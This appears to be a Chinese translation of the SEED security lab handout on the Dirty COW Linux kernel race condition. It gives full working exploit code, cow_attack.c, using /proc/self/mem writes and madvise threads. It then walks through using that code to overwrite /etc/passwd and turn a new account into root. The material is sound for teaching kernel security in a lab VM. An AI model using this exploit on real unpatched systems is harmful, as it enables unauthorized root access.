Dirty COW 攻击实验

1 概述

Dirty COW 漏洞是一个有趣的竞争条件（race condition）漏洞案例。此漏洞自 2007 年 9 月以来一直存在于 `Linux` 内核中，直到 2016 年 10 月才被发现并被利用。该漏洞影响所有基于 `Linux` 的操作系统，包括 Android，且其后果极其严重：攻击者可以通过利用该漏洞获取 root 权限。此漏洞存在于 `Linux` 内核的写时复制（copy-on-write）代码中。通过利用该漏洞，攻击者可以修改任何受保护的文件，即使这些文件对他们来说仅是可读的。

本实验的目标是让学生亲身体验 Dirty COW 攻击，理解该攻击利用的竞争条件漏洞，并更深入地了解一般竞争条件安全问题。在本实验中，学生将利用 Dirty COW 的竞争条件漏洞获取 root 权限。

阅读材料和视频。 关于 Dirty COW 攻击的详细内容可以参考以下资源：

- SEED 图书第 8 章，*Computer & Internet Security: A Hands-on Approach*, 3rd Edition, by Wenliang Du. 详情请见 `https://www.handsonsecurity.net`.
- SEED 课程在 Udemy 平台的第 7 节，*Computer Security: A Hands-on Approach*, by Wenliang Du. 详情请见 `https://www.handsonsecurity.net/video.html`.

实验环境。 此实验已在我们预构建的 Ubuntu 12.04 虚拟机上测试通过，可以从 SEED 网站下载。如果您使用的是 SEEDUbuntu 16.04 虚拟机，则此攻击将不起作用，因为内核中的漏洞已被修复。您可以从 SEED 网站下载 SEEDUbuntu12.04 虚拟机。如果您有 Amazon EC2 账户，可以从 “社区 AMI” 中找到我们的虚拟机，名称为 `SEEDUbuntu12.04-Generic`。需要注意的是，Amazon 网站显示该虚拟机是 64 位的，这是错误的。该虚拟机实际为 32 位，但此错误信息不会造成任何问题。

2 任务 1：修改一个只读的虚拟文件

此任务的目标是利用 Dirty COW 漏洞向一个只读文件写入内容。

2.1 创建虚拟文件

我们首先需要选择一个目标文件。虽然该文件可以是系统中的任何只读文件，但我们在此任务中使用一个虚拟文件，以防我们因操作失误而破坏重要的系统文件。请在根目录下创建一个名为 `zzz` 的文件，将其权限更改为普通用户只读，并使用编辑器（如 `gedit`）在文件中写入一些随机内容。

```
$ sudo touch /zzz
$ sudo chmod 644 /zzz
$ sudo gedit /zzz
$ cat /zzz
111111222222333333
$ ls -l /zzz
-rw-r--r-- 1 root root 19 Oct 18 22:03 /zzz
$ echo 99999 > /zzz
bash: /zzz: Permission denied
```

从上述实验可以看出，普通用户尝试向该文件写入内容会失败，因为该文件对普通用户来说仅是可读的。然而，由于系统中的 Dirty COW 漏洞，我们可以找到一种方法向该文件写入内容。我们的目标是将模式 "222222" 替换为 "******"。

2.2 设置内存映射线程

您可以从实验网站下载程序 cow_attack.c。该程序包含三个线程：主线程、write 线程和 madvise 线程。主线程将 /zzz 映射到内存中，找到模式 "222222" 的位置，然后创建两个线程来利用操作系统内核中的 Dirty COW 竞争条件漏洞。

Listing 1: 主线程

```
/* cow_attack.c （主线程）*/

#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/stat.h>
#include <string.h>

void *map;

int main(int argc, char *argv[])
{
  pthread_t pth1,pth2;
  struct stat st;
  int file_size;

  // 以只读模式打开目标文件。
  int f=open("/zzz", O_RDONLY);

  // 使用 MAP_PRIVATE 将文件映射到 COW 内存。
  fstat(f, &st);
  file_size = st.st_size;
  map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);
```

```
  // 找到目标区域的位置
  char *position = strstr(map, "222222");                          ①

  // 我们需要使用两个线程进行攻击。
  pthread_create(&pth1, NULL, madviseThread, (void  *)file_size); ②
  pthread_create(&pth2, NULL, writeThread, position);             ③

  // 等待线程结束。
  pthread_join(pth1, NULL);
  pthread_join(pth2, NULL);
  return 0;
}
```

在上述代码中，我们需要找到模式 "222222" 的位置。我们使用一个字符串函数 `strstr()` 来找到映射内存中 "222222" 的位置（第 ① 行）。然后，我们启动两个线程：`madviseThread`（第 ② 行）和 `writeThread`（第 ③ 行）。

2.3 设置 write 线程

`write` 线程的任务是将内存中的字符串 "222222" 替换为 "******"。由于映射内存是 COW 类型，仅通过该线程只能修改映射内存的副本内容，无法对底层的 `/zzz` 文件产生任何更改。

Listing 2: `write` 线程

```
/* cow_attack.c (写入线程) */

void *writeThread(void *arg)
{
  char *content= "******";
  off_t offset = (off_t) arg;

  int f=open("/proc/self/mem", O_RDWR);
  while(1) {
    // 将文件指针移动到相应位置。
    lseek(f, offset, SEEK_SET);
    // 向内存写入。
    write(f, content, strlen(content));
  }
}
```

2.4 madvise 线程

`madvise` 线程的任务只有一个：丢弃映射内存的私有副本，使页表指向原始的映射内存。

Listing 3: `madvise` 线程

```
/* cow_attack.c (\texttt{madvise} 线程) */
```

```
void *madviseThread(void *arg)
{
  int file_size = (int) arg;
  while(1){
      madvise(map, file_size, MADV_DONTNEED);
  }
}
```

2.5 发起攻击

如果交替调用 write() 和 madvise() 系统调用（即，一个调用仅在另一个完成后执行），write() 操作将始终作用于私有副本，我们将永远无法修改目标文件。唯一能让攻击成功的方法是在 write() 系统调用仍在运行时调用 madvise() 系统调用。我们无法每次都成功实现这一点，因此需要尝试多次。只要概率不是极低，我们就有机会。因此，在线程中，我们在无限循环中运行这两个系统调用。

编译 cow_attack.c 并运行几秒钟。如果攻击成功，您应该能够看到已被修改的 /zzz 文件。请在实验报告中记录您的结果，并解释您是如何实现这一点的。

```
$ gcc cow_attack.c -lpthread
$ a.out
  ... press Ctrl-C after a few seconds ...
```

3 任务 2: 修改密码文件以获取 root 权限

现在，让我们对真实的系统文件发起攻击，从而获取 root 权限。我们选择 /etc/passwd 文件作为目标文件。该文件是全体用户可读的，但非 root 用户无法修改。文件包含用户账户信息，每个用户对应一条记录。假设我们的用户名是 seed。以下是 root 和 seed 的记录：

```
root:x:0:0:root:/root:/bin/bash
seed:x:1000:1000:Seed,123,,:/home/seed:/bin/bash
```

每条记录包含七个以冒号分隔的字段。我们关注的是第三个字段，它指定了分配给用户的用户 ID (UID) 值。UID 是 Linux 中访问控制的主要依据，因此这一值对系统安全至关重要。root 用户的 UID 字段包含一个特殊值 0，这使其成为超级用户，而不是其名字。任何 UID 为 0 的用户都会被系统视为 root，无论其用户名是什么。seed 用户的 ID 仅为 1000，因此不具备 root 权限。然而，如果我们能将该值更改为 0，我们就能将其提升为 root 用户。我们将利用 Dirty COW 漏洞实现这一目标。

在实验中，我们不会使用 seed 账户，因为此账户用于本书中的大部分实验；如果在实验后忘记将 UID 改回，其他实验会受到影响。相反，我们创建一个名为 charlie 的新账户，并利用 Dirty COW 攻击将这一普通用户变为 root。

添加新账户可以使用 adduser 命令完成。账户创建后，将会在 /etc/passwd 中添加一条新记录。如下所示：

```
$ sudo adduser charlie
  ...
$ cat /etc/passwd | grep charlie
charlie:x:1001:1001:,,,:/home/charlie:/bin/bash
```

建议您保存一份 /etc/passwd 文件的副本，以防出错导致文件损坏。另一种选择是对您的虚拟机进行快照备份，这样如果虚拟机被破坏，可以随时恢复。

任务: 您需要修改 /etc/passwd 文件中 charlie 的记录，将第三个字段从 1001 更改为 0000，从而将 charlie 提升为 root 用户。文件对 charlie 是只读的，但我们可以利用 Dirty COW 攻击对其进行写入。您可以修改任务 1 中的 cow_attack.c 程序来完成这一目标。

攻击成功后，如果切换用户为 charlie，您应该能在 shell 提示符处看到 # 符号，这表明您已获得 root shell。如果运行 id 命令，您应该能看到您已获得 root 权限。

```
seed@ubuntu$ su charlie
Passwd:
root@ubuntu# id
uid=0(root) gid=1001(charlie) groups=0(root),1001(charlie)
```

4 提交

你需要提交一份带有截图的详细实验报告来描述你所做的工作和你观察到的现象。你还需要对一些有趣或令人惊讶的观察结果进行解释。请同时列出重要的代码段并附上解释。只是简单地附上代码不加以解释不会获得学分。